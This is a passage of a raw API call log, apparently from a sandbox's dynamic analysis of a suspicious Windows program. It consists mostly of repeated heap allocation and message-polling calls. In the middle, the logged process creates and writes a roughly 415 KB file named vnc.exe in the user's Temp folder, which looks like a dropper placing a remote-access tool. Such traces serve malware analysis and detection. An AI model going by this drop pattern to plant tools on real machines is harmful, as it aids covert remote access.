Flags=0x0, Size=0x10) returned 0x1076c28 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf588 [0134.338] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec31e0 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5f8 [0134.338] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0134.338] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.338] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf518 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0134.339] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0134.339] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4c8 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5b8 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf458 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0134.342] GetLastError () returned 0x3f0 [0134.342] SetLastError (dwErrCode=0x3f0) [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0134.342] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0134.344] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cb8 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0134.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0134.345] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\vnc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0134.348] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.348] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.348] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.348] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.348] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.348] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.348] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.355] WriteFile (in: hFile=0x23c, lpBuffer=0x107f3f8*, nNumberOfBytesToWrite=0x65600, lpNumberOfBytesWritten=0xbdf64c, lpOverlapped=0x0 | out: lpBuffer=0x107f3f8*, lpNumberOfBytesWritten=0xbdf64c*=0x65600, lpOverlapped=0x0) returned 1 [0134.368] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.368] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.368] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.368] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.368] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.368] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.368] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.369] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.369] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.369] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.369] CloseHandle (hObject=0x23c) returned 1 [0134.409] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.409] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.409] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.409] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.679] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0134.680] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0134.927] GetProcessId (Process=0x394) returned 0x29c [0134.927] CloseHandle (hObject=0x394) returned 1 [0134.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0134.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0134.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0134.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0134.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0134.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0134.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0134.929] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.929] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.930] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015640 | out: hHeap=0xe80000) returned 1 [0134.930] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.931] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068278 | out: hHeap=0xe80000) returned 1 [0134.931] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0134.931] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0134.931] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0134.931] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1848 | out: hHeap=0xe80000) returned 1 [0134.936] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x110c400 | out: hHeap=0xe80000) returned 1 [0134.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0134.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0134.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0134.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0134.943] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0134.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0134.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076970 | out: hHeap=0xe80000) returned 1 [0134.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0134.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1528 | out: hHeap=0xe80000) returned 1 [0134.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0134.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0134.944] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0134.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0134.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0134.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0134.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0134.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0134.947] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0134.948] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31e0 | out: hHeap=0xe80000) returned 1 [0134.948] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0134.948] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0134.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0134.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0134.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0134.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1500 | out: hHeap=0xe80000) returned 1 [0134.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0134.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0134.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0134.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14d8 | out: hHeap=0xe80000) returned 1 [0134.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104a618 | out: hHeap=0xe80000) returned 1 [0134.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0134.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0134.951] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0134.951] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18e8 | out: hHeap=0xe80000) returned 1 [0134.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0134.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0134.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0134.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0134.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14b0 | out: hHeap=0xe80000) returned 1 [0134.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0134.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0134.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0134.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0134.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0134.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0134.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0134.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0134.955] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0134.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0134.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0134.955] CharUpperBuffW (in: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV", cchLength=0x1d | out: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV") returned 0x1d [0134.957] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0134.957] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0134.957] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf418 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0134.958] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf2f8 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0134.958] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf358 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.958] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf438 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0134.958] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0134.959] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf2e8 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.959] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768e0 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0134.959] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14b0 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14d8 [0134.959] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076970 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 